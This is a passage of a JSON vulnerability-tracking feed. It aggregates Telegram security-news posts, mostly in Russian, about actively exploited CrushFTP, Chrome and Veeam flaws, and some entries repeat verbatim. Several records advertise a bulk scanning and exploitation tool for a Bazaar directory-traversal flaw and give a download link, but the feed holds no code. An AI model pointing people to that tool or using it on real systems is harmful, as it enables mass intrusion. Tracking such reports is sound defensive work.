\u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u2620\ufe0f \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043d\u043e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u2623\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE-2024-4040 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 #CrushFTP\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:19.834352Z"}, {"uuid": "731ebe17-1252-46b2-acc6-20e05c6a2d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4058", "type": "seen", "source": "https://t.me/linuxkalii/879", "content": "\ud83d\udcbb \u0412 Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 16000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432\n\n\ud83d\uddc4\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Chrome 124, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0441\u0440\u0430\u0437\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 CVE-2024-4058 \u0432 ANGLE (Almost Native Graphics Layer Engine).\n\n\ud83d\uddc4\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00bb, \u0438 \u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0431\u0430\u0433 \u0442\u0438\u043f\u0430 type confusion, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0421\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043b\u0438\u0448\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Chrome \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0442\u0430\u0442\u0443\u0441 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445\u00bb.\n\n\ud83d\uddc4Google \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 CVE-2024-4058 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b Qrious Secure. \u0417\u0430 \u0441\u0432\u043e\u0438 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 16 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\ud83d\uddc4\u0422\u0430\u043a\u0436\u0435 Qrious Secure \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Google \u0435\u0449\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 Chrome: CVE-2024-0517, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u0438 CVE-2024-0223, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u00ab\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 JavaScript, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 GPU\u00bb. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\ud83d\uddc4Google \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e CVE-2024-4058 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438 \u0442\u0438\u043f\u0430 confusion, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 Chrome, \u0445\u043e\u0442\u044f \u0447\u0430\u0449\u0435 \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 JavaScript-\u0434\u0432\u0438\u0436\u043e\u043a V8.\n\n@linuxkalii", "creation_timestamp": "2026-08-07T00:42:04.253822Z"}, {"uuid": "ab325d90-9d0b-4247-8a1c-7f3f4fc3f949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "seen", "source": "https://t.me/brutsecurity/724", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-07-09T03:00:12.987295Z"}, {"uuid": "2a35c5b1-de12-49ee-a984-814365bcb0a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "seen", "source": "https://t.me/brutsecurity/724", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-07-10T00:00:36.805442Z"}, {"uuid": "b231711a-2a4e-4fad-9dc5-73947664a8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/724", "content": "\ud83d\udea8 CVE-2024-40348 \ud83d\udea8\n\n\ud83d\udc49 This is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\n\ud83d\udd17 Download : https://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2026-07-11T18:00:04.998751Z"}, {"uuid": "a4d1d844-0635-48eb-ae8f-04f2ed0e9b2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/ZerodayAlert/355", "content": "\u041e\u0442 \u0431\u044d\u043a\u0430\u043f\u0430 \u0434\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Veeam \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0443 \u043c\u0438\u0440\u043e\u0432\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438\n\n\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40711 \u0432 Veeam Backup & Replication \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438 Akira \u0438 Fog \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcbc Veeam \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000. \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\ud83d\udd75\ufe0f \u0425\u0430\u043a\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435 rclone \u0434\u043b\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 Veeam: \u0440\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-27532, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 FIN7.\n\n#Veeam #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #\u0431\u044d\u043a\u0430\u043f\n\n@ZerodayAlert", "creation_timestamp": "2026-07-11T19:00:04.390976Z"}, {"uuid": "c20bff8a-ac88-431a-8113-d514d2bdc6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "published-proof-of-concept", "source": "Telegram/_25z-AXgYGxMQG1-2juRNG_Sr6HyeON-5N9CgA9IG4g7wx0", "content": "", "creation_timestamp": "2026-08-16T00:00:46.023058Z"}, {"uuid": "8f5d309c-c29d-4273-b878-022bffb52156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "https://t.me/ZerodayAlert/222", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u044b CrushFTP \u0447\u0435\u0440\u0435\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udca5 \u0411\u043e\u043b\u0435\u0435 1400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-4040, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u2620\ufe0f \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043d\u043e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u2623\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430. CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE-2024-4040 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 #\u0434\u0430\u043d\u043d\u044b\u0435\u0432\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 #CrushFTP\n\n@ZerodayAlert", "creation_timestamp": "2026-07-12T00:00:17.682986Z"}, {"uuid": "c44a6696-43cf-4ad6-825a-ab6e09c7ec0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/ZerodayAlert/355", "content": "\u041e\u0442 \u0431\u044d\u043a\u0430\u043f\u0430 \u0434\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Veeam \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0443 \u043c\u0438\u0440\u043e\u0432\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438\n\n\ud83d\udd25 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40711 \u0432 Veeam Backup & Replication \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u0442\u0430 \u0431\u0440\u0435\u0448\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438 Akira \u0438 Fog \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcbc Veeam \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 500 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 74% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Global 2000. \u041a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\ud83d\udd75\ufe0f \u0425\u0430\u043a\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u0440\u043e\u0434\u0435 rclone \u0434\u043b\u044f 